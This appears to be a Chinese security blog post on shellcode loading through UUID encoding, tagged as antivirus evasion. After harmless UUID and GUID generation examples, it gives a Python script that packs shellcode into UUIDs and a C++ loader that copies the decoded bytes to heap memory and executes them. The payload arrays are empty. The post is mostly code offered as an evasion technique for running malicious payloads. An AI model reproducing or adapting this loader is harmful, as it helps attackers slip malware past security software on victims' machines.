首页 技术杂谈 正文
  • 本文约371字,阅读需2分钟
  • 190
  • 0

ShellCode加载 - UUID加载

摘要

UUID加载

1、从UUID加载

1.1、什么是UUID

  • UUID(Universally Unique Identifier)是一个128位长的数字,通常由32个字符组成,经常以五组数字的形式展现,如550e8400-e29b-41d4-a716-446655440000
  • UUID的主要目标是能够生成一个唯一的标识符,而不需要中心协调者来确保唯一性。

1.2、生成UUID

  • 代码实现
#include <iostream>
#include <rpc.h> // 包含UUID相关的函数

int main() {
    UUID uuid; // 声明一个UUID类型的变量
    UuidCreate(&uuid); // 生成一个UUID

    RPC_CSTR szUuid = NULL; // 声明一个字符串类型的指针,用于存储UUID的字符串表示
    UuidToStringA(&uuid, &szUuid); // 将UUID转换为字符串

    std::cout << "Generated UUID: " << szUuid << std::endl; // 输出生成的UUID

    RpcStringFreeA(&szUuid); // 释放字符串占用的内存

    return 0;
}

1.3、什么是GUID

  • GUID(Globally Unique Identifier)是一个128位长的数字,与UUID(Universally Unique Identifier)是等同的。GUID常常被用在Microsoft技术和平台上,例如在Windows注册表、COM/DCOM接口、数据库等中作为唯一的标识符
  • GUID的目的和UUID是一样的,都是为了提供一个全球唯一且随机的标识符

3.4、生成GUID

  • 实现代码
#include <iostream>
#include <objbase.h> // 包含GUID相关的函数

int main() {
    GUID guid; // 声明一个GUID类型的变量
    CoCreateGuid(&guid); // 生成一个GUID

    wchar_t wszGuid[40] = { 0 }; // 用于存储GUID字符串的数组
    StringFromGUID2(guid, wszGuid, 39); // 将GUID转换为字符串

    std::wcout << L"Generated GUID: " << wszGuid << std::endl; // 输出生成的GUID

    return 0;
}

1.5、Python把shellcode转成uuid

  • 实现代码
import uuid

# 示例shellcode(此处只是随机数据,不是真实shellcode)
shellcode = b''

def shellcode_to_uuids(shellcode):
    uuids = []

    for i in range(0, len(shellcode), 16):
        chunk = shellcode[i:i+16]

        # 如果最后一个块不足16字节,则填充它
        if len(chunk) < 16:
            chunk += b'\x90' * (16 - len(chunk))

        # 将16字节块转换为UUID
        u = uuid.UUID(bytes_le=chunk)
        uuids.append(u)

    return uuids

converted_uuids = shellcode_to_uuids(shellcode)

for u in converted_uuids:
    print(u)

1.6、加载

  • 实现代码
#include <windows.h>
#include <iostream>
#include <vector>
#include <rpc.h>

UUID uuids[] = {

};

int main() {
    int uuidCount = sizeof(uuids) / sizeof(UUID);
    // 使用HeapAlloc在堆上分配内存
    unsigned char* shellcode_memory = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uuidCount * 16);
    // 解码UUIDs并将shellcode写入堆上分配的内存
    for (int i = 0; i < uuidCount; i++) {
        memcpy(shellcode_memory + (i * 16), &uuids[i], 16);
    }
    // 执行shellcode
    ((void(*)())shellcode_memory)();
    // 清理
    HeapFree(GetProcessHeap(), 0, shellcode_memory);
    return 0;
}
标签:免杀
评论